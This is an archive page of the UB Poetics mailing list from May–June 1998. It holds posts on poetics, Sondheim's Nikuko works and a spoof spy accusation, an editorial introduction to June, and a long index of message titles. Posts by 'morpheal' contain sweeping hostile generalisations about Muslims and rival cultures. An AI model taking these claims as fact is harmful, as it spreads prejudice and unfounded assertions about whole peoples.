That is not what I said. I said that they despise art. There are varying intensities of this. Some Marxists, communists, have been very violent and oppressive towards artists. Relative freedom of expression, and therefore art as we understand it, cannot flourish there. Art is reducted to political advertising, or propaganda, in many such instances. However, they do not tend to be the extremists that I was referring to. They are extreme, but not so very extreme. The most extreme are the Moslems. According to their scriptures "art", in any form as we know it and value it, is absolutely forbidden. That does not mean that every moslem follows the teachings, but a very large number do follow it. The only adornments become embellished kufic script and the religious architecture it adorns. There are indications that all western art, the fine arts and humanities as we know them, are considered "satanic" and the mentality desiring their absolute destruction remains quite active within that foreign (alien to us) culture.

Where such instances of "truth" collide we end in irreconcilable conflict and that means mutual attempts to influence the outcome of the conflict.

I see some of the struggles within our own cultural tradition (western, European-North American heritege primarily, but not exclusively), currently as springing from that particular root of conflict. Each side ends up wanting to cut down the other side's cultural tree - to uproot as it were.

> *Who are "They who have technology and are not cave dwellers"*

I was alluding to the common false conception that some foreign cultures lack the ability to distort their rival cultures by technological means. The underestimations of the KGB during the Cold War were sometimes the most comical instantiations of something of that kind. In essence the tendencies among some to underestimate the "enemy" or the cultural opponent. Most of all the attitude that some areas where the people are impoverished and on average technologically ignorant, lack all covert means. They do not. That is the misconception. The state of the average population says very little abnout the body politic. It is not the body politic. Another instantiation of this, quite outside the realm of radio, radar and microwaves, is Islamic Pakistan's 'success' as to becoming a nuclear power. Even that fact leads to underestimations of Pakistan's technological abilities. After all, the bomb was invented fifty years ago. It is old technology, even if mass destructive. We then fail to consider the use of other categories of violent means, including conventional, chemical, biological, and electromagetic.

We also fail to recognize that all nations who share a common ideology tend to share their technological capabilities, to a very large extent, with each other. Particularly if they have larger ambitions as to cultural, (which always involves ideological), expansion and conquest.

In our example we then find reasons to believe that many other similarly affiliated nations have gained nuclear capabilities. Similarly biological and chemical warfare capabilities. We might see Libya, or Syria, Iraq, Iran, and others, as all sharing with one another, similar technological means.

Apply that same viewpoint to electromagnetic means of potential influence and we quickly find that we live within a technologically conflicted, sphere of cultural and ideological influence conflicted, nightmare. The Cold War with the USSR was only one scene in one act of the whole play of various endgames, including those that involve attempted conquest of the human mind by whomever happen to be the primary cultural competitors.

Quite aside, but on that loosely phrased illustrative example, from current politics, I cannot say that I see a positive outcome for American and allied economic and diplomatic sanctions against Pakistan. I see that as furthering the excerbation of hostile sentiments and perhaps leading to their eventual venting, exteriorized from the increased hardships and sufferings, so that the sanctions act as a kind of catalyst, to a more radically violent military expression. How extreme that might end up being, is an open question. It depends on how strong the reactions are to the sanctions and to the other actions of other nations.

M.

aka Bob Ezergailis

↑ Index

773. **david bromige**

George Bowering's encrypted poetry

Sun 31 May 1998

I am now at liberty to reveal that George Bowering's poetry, in many of his books "a-tonal" in structure, often consists of heavily encrypted messages being transmitted to Cuba about the seaward defenses of Bellingham, WA. This dates back to the TISH years--scholars will note the coincidence of Castro's revolution with the laun ching of this poetry newsletter. So an entire school of writing in Canada has been based on this false premise : it was never poetry, it was spying! Canadian authorities, responding to pressure from the United States, will shortly be removing all books of poetry from Canadian libraries, that bear any traces of TISH influence, and billing these authors for the return of any Canada Council monies they may have received under these false pretenses. The brazenness of the operation is revealed when one learns that 'TISH' is the acronymn from"Technical Information Shipping Harbor".

David Bromige, Snitch Extraordinaire

↑ Index

774. **morpheal**

Re: mythology: wandering from techno war to Pakistan's new nukes

Sun 31 May 1998

> *Please, I am not interested in cultural relativism and for that matter would never even use that term...I am not twisting what you say, I understand exactly what you are saying...I was talking about "music" not technowar.*

You had better be interested in it.

The other guys, and their gals, want _YOUR_ culture _OFF_ this planet.

Are you planning on simply packing your bags and leaving ? They would happily see you off. That's it. Simply see you out and off.

That would put a new direction to the space program.

As for music not being related to technowar. Deconstructive music is essentially emulative of one facet of technowar. It reflects it perfectly. Of course, there is a two edged sword in that. It is protest against certain conflicts within the cultural millieux of the planet. It is also becomes a means for many to experience something in a less dangerous contextual situation, and thus the very cultural manifestation that knowingly or unknowingly protests what amounts to a kind of technowar becomes preparation for technowarriors. That irony is repeated again and again in every culture, though differently, and at all levels of technological sophistication.

M.

↑ Index

775. **groberts**

Alan's Feedback

Sun 31 May 1998

Thanks to everyone for making comments and commitments, for drawing lines and arrows and hearts and circles. Go figure: poetics on the "poetics" list!

(And thanks to Tom Orange, whose post on Jeff Clark I think started this long overdue discussion.)

Gary R.

↑ Index

776. Henry Gould
Re: Quo uncomfortable Vadis
Sun 31 May 1998

I would go along with Croce's aesthetics: "pure"poetry is not pure music, not a sort of Absolute before which any sort of moral "discomfort" is equal to "censorship". "Pure" poetry, true poetry, for Croce, was a balance between referentiality and music, word and world.

Poetry is an undertaking of enormous power because unlike philosophy it gets "inside" natural phenomena - from the most basic to the most intellectual & spiritual. Mimesis. But such power need not become an excuse for idolatry or a sort of aesthetic gnosis vaunting itself as beyond good & evil, or beyond rational critique. Poetry is a gift providing something rational critique (objective observation) can never provide; but such a gift does not entail the destruction of rational critique.

Every poet's work implies a worldview. The most basic forms of literary art - parable and riddle - employ mimesis and storytelling in order to foreground THE REAL. Poetry (and all art) is a quintessence of reality. But reality includes self-consciousness, reason, and critical awareness; the proposed complexity and subtlety of Alan's project certainly don't negate Nada's demurral.

Alan says he "knows" Nikuko (personally) and she IS "flat". All well and good, I guess; documentary realism in an ex-cathedra footnote? It's all all too "documentary" for my taste, despite the computer bells & whistles. But I haven't given it a fair reading. I like to choose my own reading. That's why I'm TRYING myself not to post so much to the list these days... (one reason, anyway).

- Henry Gould

↑ Index

777. Schuchat Simon
nomuko and tabeko
Sun 31 May 1998

the experience of a part of Asia by a non-Asian or even sometimes by a person from another part of Asia is frequently a prized possession, that's true with other worlds as well but not so many of us are in a position to engage and write re some of the other worlds, either they are less interesting (tho Luc Sante is writing Belgium for us) or too strongly possessed by bilinguals/biculturals (who would care about a gringo take on central America anymore?). furthermore the experience that is involved involves sex and gender and stereotypes in all directions. the list has seen discussion about specifically Japanizing

stereotypes, I won't dredge that stuff up again, but in the case of Nada and Alan, I see some measure of the longtime visitor and short time visitor disagreeing on who has seen what, though I may be being unfair to Alan in terms of the extent of his Japanimmersion. or better, the discomfort for Nada/Ume comes from the violation of her ownership of her experience by Alan in his Nikuko works. It appears that Ume/Nada's Japan has a lot more texture and depth and grain and substance than Alan's. However I also enjoy reading the Nikuko works, I don't have as much invested and sometimes the texture is flat.

A recent novel AUDREY HEPBURN'S NECK (can't recall authors name, it is in Penguin I think) is very good and approaches some of these issues from another angle.

I have also been meaning to recommend (if anyone has gotten this far) the most recent MURAKAMI Haruki novel, THE WIND-UP BIRD CHRONICLE and the first translation of Wang Shuo (the great post-modern Chinese writer) into English, PLAYING FOR THRILLS. They are both terrific and, incidentally, very interesting to read side by side for what they do with the conventionsof the noir detective story and the issue of the buried past.

off to work

↑ Index

778. Kathy Lou Schultz
dodie & kevin: my s/heroes
Sun 31 May 1998

Hello all,

Glad to see Ron and others mentioning the SF Examiner article. I just saw it myself earlier and got a tingle in my toes. For those of you unfortunate enough not to live in the Bay Area, or who haven't checked out the article online, here's a little teaser (come on now, lean in a little closer): In the article they admit that they have sex (Gasp!) with each other (Gasp! Gasp!). And there's a great plug for Dodie's long-awaited _Letters of Mina Harker_, as well as for Kevin's oft-referenced "Spicer Book." In addition, if yer "in the neighborhood," the 10th anniversary performance of KK's "That" is happening this Friday (June 5) at the New College Theatre, 777 Valencia, 7:30 p.m.

In reference to Ron's question, Glen Helfand may very well have done _Socialist Review_ covers. He's very much about town doing film and art reviews, and has done some great book covers, including one for me and one for Abigail Child.

Kathy Lou Schultz

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779. Susan Wheeler
SF Examiner
Sun 31 May 1998

As a recent reader of Mina Harker's stupendous letters and recent spectator at one of Mr. Killian's thespian extravaganzas, I can attest: it's all true! And more!

May the spirit inflame, as is said ---

(Kudos, kids.)

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

780. Rebecca Weldon Sithiwong
Quo uncomfortable Vadis?
Sun 31 May 1998

Alan's journey is pure energy. I cringe and marvel; he is brilliant.
Perhaps he could be something else, more controlled, less challenged, but, were he so, might not we regret his passing? Where else would he live if not in the company of poets?
~~~
~~~

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

June 1998

1057 messages · Mon 1 Jun 1998 – Wed 1 Jul 1998

June 1998 gave the world plenty to look at — France opened a World Cup, the subcontinent's two new bombs still settling into the record, Belfast at the polls for its first Assembly — and the Poetics list, as usual, looked instead at itself. The one dispatch from the wider world reached the room secondhand and as a joke: a Reuters item, forwarded by joel lewis, on the nation's *"despair over the departure of Ginger Spice."* Everything else that mattered to the room was a question of accounts — poetry's own: what a poem is worth, who will pay for one, and in what currency a life spent writing them is reckoned.

For June was, above all, the month the list did its books. It began helpfully — a crowdsourced roster of the magazines that actually pay, which swelled within days into the month's largest conversation, a hundred-odd messages on the economics of the art. Could a poet have a career at all, and in what coin was it paid? Was an MFA worth its debt, or a PhD? Jim Andrews put the arithmetic plainly — *"There is no money in poetry"*, he wrote, the commodity being prestige and influence — and the room set about auditing that stranger currency with the thoroughness it brings to a bibliography: who holds prestige, who confers it, and what it costs to acquire.

The quarrel, when it came, was about whether the world belonged in the room at all. It was imported by morpheal — a non-poet and, at seventy-eight posts, the month's most tireless voice — who took the June nerve-gas story then in the news and mounted a cool, utilitarian defence of chemical weapons the poets could not let stand. Kent Johnson answered in satire, daniel bouchard point by point; and when Brent Long asked the obvious border question, what any of this had to do with poetry, Mark Prejsnar turned it inside out: *"Nerve gas has EVRYTHING to do with poetry"*, typo and all. The argument was never about sarin, but about whether the news held a passport into a room that spends its days pricing sonnets.

That the loudest summons to the world should come from its one confirmed outsider is the month's quiet joke, and its real subject. The Poetics list is governed, as ever, by who is in it, and morpheal could hold the floor precisely because he wanted nothing the room was selling — *"Poetry is noticably absent from their wish lists"*, he observed of the people he took to be the real ones, the only figure at the audit with no stake in the prices. The poets, meanwhile, could not agree

on even their own class: whether they were, as one proposed, a dominated fraction of the dominant class, or simply broke.

And what, then, stood on the room's books? Its ledger and the world's so little overlapped that the only death it paused over was ten years gone and one of its own — George Bowering remembering Gwen MacEwen, after whose loss, he said, *"Toronto poetry just disappeared for five years, just disappeared."* A fresher death went by unmarked: on the ninth a notice crossed from the Fluxlist that the artist Dieter Roth was gone, its whole body two words — *"has died."* — with a cheerful Cologne tip. No one replied. I have set the long argument over what a poem is worth beside that unanswered notice exactly as June filed them: the room will spend a hundred letters on the price of poetry and not one on a death outside the guild.

— Kristen M. Fabians

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132. david bromige — poets theater in s f
133. Peter Balestrieri — Rochelle Owens/Quo Vadis?
134. Stephen Cope — Re: Fwd: helping the NEA
135. Richard Long — Summer Issue of _The 2River View_
136. Christopher W. Alexander — Objects and Torque (not physics) query
137. Mark Weiss — Re: Rochelle Owens/Quo Vadis?
138. dbkk — Jeff Derksen directory assistance
139. Simon DeDeo — Re: Fwd: helping the NEA
140. louis stroffolino — APOLOGIES TO RON SILLIMAN
141. William Burmeister Prod — Re: vintage fin-de-siecle cheesecloth
142. Pritchett,Patrick — Re: APOLOGIES TO RON SILLIMAN
143. R. Gancie — the naivete of speaking
144. Michael Kelleher — a l y r i c m a i l e r 6
145. Marjorie Perloff — Re: Valentine de Saint-Point
146. Tom Beard — Re: re : bombs opening like flowers
147. louis stroffolino — Re: APOLOGIES TO RON SILLIMAN
148. joel lewis — f.y.i. spice
149. maz881 — Re: patterns of discovery [Cronenberg's "Scanners"]
150. david bromige — re : re : apologies to Ron Silliman
151. Henry Gould — Urinal Rationale
152. Ralph Wessman — fr17
153. charles alexander — Re: re : re : apologies to Ron Silliman
154. William Marsh — Re: vintage fin-de-siecle cheesecloth
155. MAYHEW — Marinetti

156. Susan Schultz — Re: re : re : apologies to Ron Silliman
157. Karen Kelley — Re: vintage fin-de-siecle cheesecloth
158. Safdie Joseph — Re: Quid Pro Quo Vadis
159. Rachel Loden — apologies to Ron Silliman

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160. Otis Rush — Otis Rush site difficulties
161. Mark Salerno — Re: help
162. George Bowering — Re: re : re : apologies to Ron Silliman
163. Marcella Durand — Poetry Project web site
164. Tom Orange — Objects and Torque (not physics) query
165. J. Kuszai — Meow Press Summer98 series Catalog (draft2)
166. J. Kuszai — help
167. William Burmeister Prod — Re: vintage fin-de-siecle cheesecloth
168. Jordan Davis — TORQUE / OBJECT
169. Christopher W. Alexander — nominative press collective announces...
170. Safdie Joseph — Re: TORQUE / OBJECT
171. Anthony Lawrence — Kooser's Email
172. R. Gancie — I found the mass! It was in my neutrinos the whole time!!
173. morpheal — Re: the analysis: [Bill's Sonnet and Our Interpretations of It]
174. Dorothy Wang — Query re Ted Joans
175. morpheal — Re: patterns of discovery [Cronenberg's "Scanners"]
176. k. lederer — Baxter/Amy Garrett

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177. Scott Pound — Re: Meow Press Summer98 series Catalog (draft2)
178. Maria Damon — Re: Query re Ted Joans
179. Barbara Henning — Yogapoetics
180. toddbaron — Re: Query re Ted Joans
181. toddbaron — Re: Query re Ted Joans
182. William Slaughter — Re: Query re Ted Joans
183. R. Gancie — phenomena, mediaton & the hermeneutical or the father, the son & the holy ghost
184. david bromige — re re bombs flowering
185. david bromige — p s to my recent posting

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186. morpheal — Re: phenomena, mediaton [of language] leads to a common error
187. R. Gancie — "and liars in public places"
188. nuyopoman — Ted Joans

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189. Dan Machlin — Brazil meets New York
190. louis stroffolino — Re: Valentine de Saint-Point
191. Gary Sullivan — Re: Valentine de Saint-Point
192. Gary Sullivan — WHOOPS
193. Magdalena Zurawski — New York Radio Stations
194. Erik Sweet — Re: Valentine de Saint-Point
195. David Kellogg — Re: WHOOPS
196. Manuel Brito Marrero — Help on anarchy
197. k. lederer — Queries: Gough; Kimball
198. Brent Long — Apokatastasis Reading Series, Providence
199. Maria Damon — Re: WHOOPS
200. R. Gancie — the 'seems'
201. Magdalena Zurawski — NYC Radio
202. Dorothy Wang — Ted Joans question answered
203. Jordan Davis — NY Radio

204. Laura Moriarty — AVEC reading in SF
205. maz881 — ass face
206. Laura Moriarty — Re: ass face
207. Erik Sweet — Re: ass face
208. Henry Gould — Re: ass face
209. Alan Myouka Sondheim — Distributed Image of the Internet in - r* and similar commands:
210. Laura E. Wright — Re: ass face
211. morpheal — Re: I found the mass !
212. Miekal And — Re: Yogapoetics

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213. Stephen Cope — Re: Anarchy
214. Miekal And — [Fwd: FLUXLIST: Dieter Roth]
215. morpheal — Re: the 'seems'
216. morpheal — Re: Anarchy
217. Douglas — new titles from Sun & Moon/Green Integer
218. Jordan Davis — anarchy having more to do with mutual aid than randomness
219. Douglas — moving toward my five: announcement of NAP and NAF awards
220. MAYHEW — set poetics nomail
221. J. Kuszai — Re: Anarchy
222. Mark Prejsnar — Re: ass face
223. Poetics List Administration — attachments
224. Christopher Reiner — L.A. Books Reading
225. MAXINE CHERNOFF — New American Writing Event
226. R.Gancie/C.Parcelli — [Fwd: MEDIA FRENZY?]
227. louis stroffolino — ----------
228. morpheal — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
229. Mark Prejsnar — Re: Anarchy
230. dbkk — Killian, Gluck, and more in SF
231. J. Kuszai — Re: Anarchy
232. William Marsh — Re: attachments / baraka
233. Dean Taciuch — Re: Anarchy
234. R. Gancie — sounds like the Grand Ol' A Priori to me
235. Don Wellman — Re: anarchy having more to do with mutual aid than randomness
236. Don Byrd — Re: Anarchy
237. Mark Weiss — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
238. Roger Farr — Re: Anarchy
239. Billy Little — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
240. ken|n|ing — Re: ass face
241. morpheal — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
242. morpheal — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
243. Christina Fairbank Chirot — Re: Anarchy
244. Marcella Durand — sublet abound
245. Christian Roess — Re: [Re: Anarchy]&Elizam Escobar
246. Christian Roess — Re: [Re: Anarchy
247. Christian Roess — Re: [Re: Anarchy]&Elizam Escobar
248. Christian Roess — Re: [Re: Anarchy]&Elizam Escobar
249. Aviva Vogel — Jorie Graham Essay
250. Alan Myouka Sondheim — Don't try this at home

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251. Erik Sweet — Re: Don't try this at home
252. KENT JOHNSON — Nerve gas
253. Jim Andrews — descending murderous net
254. George Bowering — Re: WHOOPS
255. George Bowering — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
256. George Bowering — Re: attachments / baraka

257. George Bowering — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
258. david bromige — Latenite jazz from Radio Bowering
259. d.j. huppatz — [Re: Anarchy] Negri
260. Marcella Durand — address-seeking
261. J. Kuszai — Re: Anarchy
262. daniel bouchard — Re: Anarchy
263. J. Kuszai — Re: Anarchy
264. daniel bouchard — Re: Anarchy
265. Henry — Re: Anarchy
266. Don Byrd — Re: Anarchy
267. sylvester pollet — Re: Anarchy
268. louis stroffolino — Re: DRUNKEN BOAT
269. morpheal — Re: Nerve gas
270. Brent Long — Re: descending murderous net
271. Trace Ruggles — Re: Yogapoetics
272. Michael Franco — FIRST ANNUAL BOSTON ALTERNATIVE POETRY CONFERENCE
273. KENT JOHNSON — Re: Nerve gas
274. daniel bouchard — What it all has to do with poetry
275. William Marsh — Re: Anarchy
276. daniel bouchard — Re: Anarchy
277. Chicago Review — address inquiry
278. R. Gancie — Is the appeal of feedback its inherent 'progressivism' and implied willingness ...
279. sylvester pollet — Re: DRUNKEN BOAT
280. Aldon Nielsen — arse farce
281. Christopher W. Alexander — Re: What it all has to do with poetry
282. Charles Alexander — Re: Anarchy
283. Christopher W. Alexander — Re: [Re: Anarchy] Negri
284. Billy Little — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
285. Christian Roess — Re: post from Daniel Bouchard
286. Michael Kelleher — place(less Place)
287. R.Gancie/C.Parcelli — Re: What it all has to do with poetry
288. morpheal — Re: [Fwd: MEDIA FRENZY?] No doubt not that simple.
289. Safdie Joseph — Re: Marx and Myth
290. KENT JOHNSON — Re: What it all has to do with poetry
291. Rachel Loden — WHOOPS
292. morpheal — Re: What it all has to do with poetry
293. morpheal — Re: What it all has to do with poetry
294. toddbaron — Re: gerald burns
295. Simon/Piombino — Mac Low on Anarchy

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296. Charles E. Weigl — Re: Anarchy/drunken boat
297. A. Nikuko Sondheim — Auto-Echo Poem of Jennifer and Nikuko
298. George Bowering — Re: Radio Bowering
299. Jim Andrews — Re: POETICS Digest - 9 Jun 1998 to 10 Jun 1998
300. Anthony Lawrence — Re: What it all has to do with poetry
301. hen — Re: Marx and Myth
302. morpheal — Re: Nerve gas
303. morpheal — Re: Marx and Myth
304. sylvester pollet — Re: Anarchy/drunken boat
305. Brent Long — In response to Daniel B.'s posting
306. daniel bouchard — Re: In response
307. Mark Prejsnar — Christy Mathewson memorial poetix post
308. David Zauhar — Harryette Mullen in Chicago
309. Billy Little — will you still need me
310. William Burmeister Prod — Re: In response

311. morpheal — Re: will you still need me
312. Safdie Joseph — Re: Marx and Myth and History and Poetry
313. William Burmeister Prod — Que nerve he has!
314. Henry G — whutsa...ya talkin t'me??
315. Christopher Reiner — SF Reading (change)
316. Jordan Davis — "I know men [sic] for whom everything matters"
317. Peter Baker — Re: Anarchy
318. Henry — Re: "I know men [sic] for whom everything matters"
319. R.Gancie/C.Parcelli — Re: In response to Daniel B.'s posting
320. R.Gancie/C.Parcelli — nerve gas
321. henry gould — a six-pack of nerves
322. Jordan Davis — Why We Don't Live In Mauritania
323. Brent Long — Re: a six-pack of nerves
324. R.Gancie/C.Parcelli — Re: Nerve gas
325. henry g — Re: Why We Don't Live In Mauritania
326. R. Gancie — the behavior of falling bodies
327. oren.izenberg — Re: Marx and Myth and History and Poetry
328. ken|n|ing — Re: Why We Don't Live In Mauritania
329. Roger Farr — Re: Drunken Boat
330. joel lewis — f.y.i.
331. David Golumbia — mla reference (fwd)
332. louis stroffolino — Re: Anarchy
333. William Burmeister Prod — Re: "I know men [sic] for whom everything matters"
334. P.Standard Schaefer — Re: "I know men [sic] for whom everything matters"
335. Christian Roess — Re: Marx and Myth and History and Poetry
336. Keston Sutherland — Re: Anarchy
337. Laura E. Wright — Re: mla reference (fwd)
338. s. kaipa — Re: mla reference (fwd)
339. Safdie Joseph — The Eternal Question (warning: a bit long)
340. Schuchat Simon — Re: Anarchy
341. Chris McCreary — Highwire reading (Philadelphia)
342. Miekal And — Re: Anarchy
343. k. lederer — Re: Anarchy
344. morpheal — Re: Marx and Myth and History and Poetry
345. morpheal — Re: Que nerve he has!

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346. Billy Little — Re: mla reference (fwd)
347. Anthony Lawrence — Re: Anarchy
348. Matias Viegener — doxa, sophia, and paranoid poeto-politics
349. Anthony Lawrence — Richard Brautigan
350. Anthony Lawrence — Re: Anarchy
351. Anthony Lawrence — Re: Anarchy
352. Anthony Lawrence — Re: Anarchy
353. henry g — FW: Shakespearian Insult Kit
354. Douglas Barbour — Mac Low on Anarchy
355. louis stroffolino — Re: Anarchy
356. Henry G — Re: Anarchy
357. Erik Sweet — Money and Poetry
358. Douglas Barbour — Re: Radio Bowering
359. William Burmeister Prod — Re: Money and Poetry
360. Pritchett,Patrick — Re: doxa, sophia, and paranoid poeto-politics
361. Gary Sullivan — Open Fan Letter to Sheila E. Murphy
362. morpheal — Re: doxa, sophia, and paranoid poeto-politics [Sophia becomes an exotic dancer, ...
363. Mark Prejsnar — the economics of tambourine lives

364. morpheal — Re: the behavior of falling bodies [follows an alchemy of gunpowder]
365. William Burmeister Prod — Re: "I know men [sic] for whom everything matters"
366. k. lederer — Magazines that pay
367. toddbaron — Re: "I know men [sic] for whom everything matters"
368. toddbaron — Re: mla reference (fwd)
369. Henry G — po squared
370. Billy Little — Re: doxa, sophia, and paranoid debt obsession
371. Chuck Stein — money and anarchy
372. Christopher W. Alexander — Re: Radio Bowering
373. s. kaipa — Money in Poetry
374. louis stroffolino — seedy underbelly
375. Brent Long — Re: Money in Poetry
376. William Burmeister Prod — Re: Money in Poetry
377. R. Gancie — "Where does the skin end?"---A.N. Whitehead
378. MAXINE CHERNOFF — Looking for the address
379. P.Standard Schaefer — Money in Poetry, Poetry in Money
380. ken|n|ing — Re: Open Fan Letter to Sheila E. Murphy
381. ken|n|ing — Re: Magazines that pay
382. ken|n|ing — Re: Money in Poetry, Poetry in Money
383. Schuchat Simon — Re: Magazines that pay
384. Laura E. Wright — Re: FW: Shakespearian Insult Kit
385. Erik Sweet — Re: Magazines that pay
386. George Bowering — Re: Anarchy
387. morpheal — Re: the economics of tambourine lives
388. henry gould — Re: Money in Poetry, Poetry in Money
389. charles alexander — Re: Magazines that pay
390. k. lederer — Re: Magazines that pay
391. George Bowering — Re: Anarchy
392. George Bowering — Re: Money and Poetry
393. George Bowering — Re: Radio Bowering
394. Rachel Loden — bozos on this bus
395. k. lederer — Re: Money in Poetry, Poetry in Money
396. P.Standard Schaefer — Re: Money in Poetry, Poetry in Money
397. charles alexander — Re: the economics of tambourine lives
398. charles alexander — Re: Magazines that pay
399. linda russo — Re: Magazines that pay
400. linda russo — Re: Money in Poetry, Poetry in Money
401. Jacques Debrot — Re: Money in Poetry, Poetry in Money
402. Karen Kelley — Re: Money in Poetry, Poetry in Money
403. A. Nikuko Sondheim — Down and Up
404. Otis Rush — Re: Looking for the address

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405. d.j. huppatz — Re: Money in Poetry
406. david bromige — money & poetry (GB division)
407. Ralph Wessman — Re: Anarchy
408. morpheal — Re: "I know men [sic] for whom everything matters"
409. Carrie Etter — Poetry MFAs, money
410. Anthony Lawrence — Re: Magazines that pay
411. Anthony Lawrence — Pam Brown's Address
412. Anthony Lawrence — The study of poetry
413. Anthony Lawrence — Re: Anarchy
414. J. Kuszai — poetry is a tracheotomy for the soul's breath
415. Erik Sweet — Writing as occupation...
416. Henry G — Re: Money in Poetry, Poetry in Money
417. Miekal And — Re: Anarchy

418. Erik Sweet — Re: poetry is a tracheotomy for the soul's breath
419. k. lederer — Re: Magazines that pay
420. Henry G — Re: Money in Poetry, Poetry in Money
421. Erik Sweet — Re: Magazines that pay
422. P.Standard Schaefer — Re: Money in Poetry, Poetry in Money
423. k. lederer — Re: Magazines that pay
424. Erik Sweet — Re: Magazines that pay
425. Judy Roitman — Re: the economics of tambourine lives
426. Ike Kim — Re: poetry is a tracheotomy for the soul's breath
427. Judy Roitman — car/rear
428. KENT JOHNSON — Re: poetry is a tracheotomy for the soul's breath
429. groberts — Re: Money in Poetry, Poetry in Money
430. dbkk — non 3 intro
431. Douglas Barbour — Re: Anarchy
432. Karen Kelley — Re: Money in Poetry, Poetry in Money
433. R. Gancie — Wuz Pound's Kung mediated by the Physiocrats?
434. toddbaron — $
435. toddbaron — celebration
436. morpheal — Re: poetry is a tracheotomy for the soul's breath [sometimes near exhaustion]
437. joel lewis — f.y.i.
438. J. Kuszai — Cowboys 32 - Mighty Ducks 2
439. nuyopoman — Money and Poetry
440. nuyopoman — Radio Poetry
441. Henry — Re: Cowboys 32 - Mighty Ducks 2
442. Henry — Re: Cowboys 32 - Mighty Ducks 2
443. Laura Moriarty — Re: non 3 intro
444. Henry Gould — on the New Amer. Poetry
445. Rachel Loden — money and poetry, poetry and sorrow
446. r. drake — Re: poetry is a tracheotomy for the soul's breath
447. Don Byrd — Re: Cowboys 32 - Mighty Ducks 2
448. ken|n|ing — Re: Magazines that pay
449. michael corbin — Re: Cowboys 32 - Mighty Ducks 2
450. J. Kuszai — 19 minutes til the digest crew

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451. Chris [Steve] Piuma — Re: poetry is a tracheotomy for the soul's breath
452. joel lewis — Re: Money in Poetry, Poetry in Money
453. A. Nikuko Sondheim — what despair tastes like and poets and money and teaching stuff
454. George Bowering — Re: the economics of tambourine lives
455. George Bowering — Re: money & poetry
456. Kathy Lou Schultz — Thoughts on Money and Poetry
457. Anthony Lawrence — Re: Cowboys 32 - Mighty Ducks 2
458. Susan Wheeler — $
459. Maria Damon — Re: the economics of tambourine lives
460. rsillima — Poultry & $$ (Don't count your chickens...)
461. Charles Alexander — Re: Poetry saved my life
462. Scott Pound — Re: Anarchy
463. Don Byrd — The profession of poetry
464. Scott Pound — Re: Cowboys 32 - Mighty Ducks 2
465. k. lederer — Re: Cowboys 32 - Mighty Ducks 2
466. Joe Amato/Kass Fleisher — poetry, $$$, gossip...
467. morpheal — Re: Poultry & $$ [Monetary Examination]
468. R. Gancie — the meat machine
469. david bromige — poetry/money/careers
470. Judy Roitman — Re: travelling
471. Dan or Orion Raphael Dlugonski — Poetry for money; money for what

472. morpheal — Re: poetry is a tracheotomy for the soul's breath
473. Dan or Orion Raphael Dlugonski — money for poetry, & a poem that was paid for
474. J Kimball — Messaging
475. Charles Alexander — Re: Art, Poetry, context
476. morpheal — Re: Wuz Pound's Kung mediated by the Physiocrats? [the milennialist Mihites in P...
477. Henry Gould — thin dime poetry

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478. Carrie Etter — degrees and money (and poetry)
479. CD — Money! Money! Money!
480. Charles Alexander — Printer Training Program position open
481. Mark Prejsnar — shapeshifter uncapitalized
482. MJ Devaney — Re: poetry/money/careers
483. Douglas Barbour — Re: anarchy (& bp)
484. Douglas Barbour — Re: a bit more on bp
485. Karen Kelley — Re: degrees and money (and poetry)
486. Pierre Joris — Re: poetry/money/careers
487. Maria Damon — Re: poetry/money/careers
488. morpheal — Re: degrees and money (and poetry)[degrees do not a poet make]
489. louis stroffolino — Re: poetry/money/careers
490. Jordan Davis — Good, there are no lions in the street
491. Mark Prejsnar — Re: poetry is a tracheotomy for the soul's breath
492. david bromige — advanced degrees in both country AND western
493. ken|n|ing — Re: shapeshifter uncapitalized
494. s. kaipa — Re: Poetry MFAs, money
495. david bromige — ps to Double Academy of c.w.
496. louis stroffolino — Re: ps to Double Academy of c.w.
497. Gary Sullivan — I AM A BIG FAT LIAR
498. dbkk — Re: Poultry & $$ (Don't count your chickens...)
499. P.Standard Schaefer — Re: shapeshifter uncapitalized
500. R. Gancie — an Enlightenment intuition spurned
501. Henry Gould — po buzzers
502. shemurph — Re: degrees and money (and poetry)
503. Mark Weiss — Re: Poetry MFAs, money
504. P.Standard Schaefer — where's the poetry
505. Mark Prejsnar — Re: shapeshifter uncapitalized
506. Chuck Stein — money
507. Mark Prejsnar — the poetical is the political
508. P.Standard Schaefer — Re: the poetical is the political
509. s. kaipa — Re: Poetry MFAs, money
510. George Bowering — Re: The Academy
511. Tom Beard — Selling out & a community of poets
512. Henry Gould — Skivvues Lesson
513. Judy Roitman — Re: Selling out & a community of poets
514. michael corbin — Re: Good, there are no lions in the street
515. Carrie Etter — poetry in Normal
516. henry — Re: where's the poetry
517. Carrie Etter — Anchorage?
518. ken|n|ing — Re: shapeshifter uncapitalized
519. ken|n|ing — Anomalous Records - FYI (fwd)
520. Henry G — 1 more on voice
521. Dale Smith — For Sale
522. Jordan Davis — voke

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523. Erik Sweet — Re: voke

524. Erik Sweet — ooops ignore
525. BETSY ANDREWS — Re: Money and Poetry
526. CD — pre-rejected
527. david bromige — oops ignore
528. Jim Andrews — an institutionalized avant garde is
529. Tom Orange — shapeshift normal poetry money
530. George Bowering — Re: an institutionalized avant garde is
531. morpheal — Re: an institutionalized avant garde is
532. morpheal — Re: an Enlightenment intuition spurned [pontification in response]
533. Henry — Re: voke
534. Charles Alexander — Re: "How Poignant that sounds . . .
535. David Baratier — Re: teachers
536. Maria Damon — Re: Skivvues Lesson
537. Jordan Davis — ah yeah thot so
538. Maria Damon — Re: an institutionalized avant garde is
539. hen — Re: ah yeah thot so
540. Pritchett,Patrick — Re: Poets in advertizing
541. Mark Prejsnar — Re: the poetical is the political
542. s. kaipa — Re: poetry in Normal
543. Mark Prejsnar — Poets in advertizing
544. Pritchett,Patrick — Re: Poetry saved my life
545. Gwyn McVay — Re: Poets in advertizing
546. Mark Prejsnar — millionaire poets
547. morpheal — Re: Poets in advertizing
548. Mark Prejsnar — Re: Poets in advertizing
549. morpheal — Re: voke
550. Jordan Davis — surge on
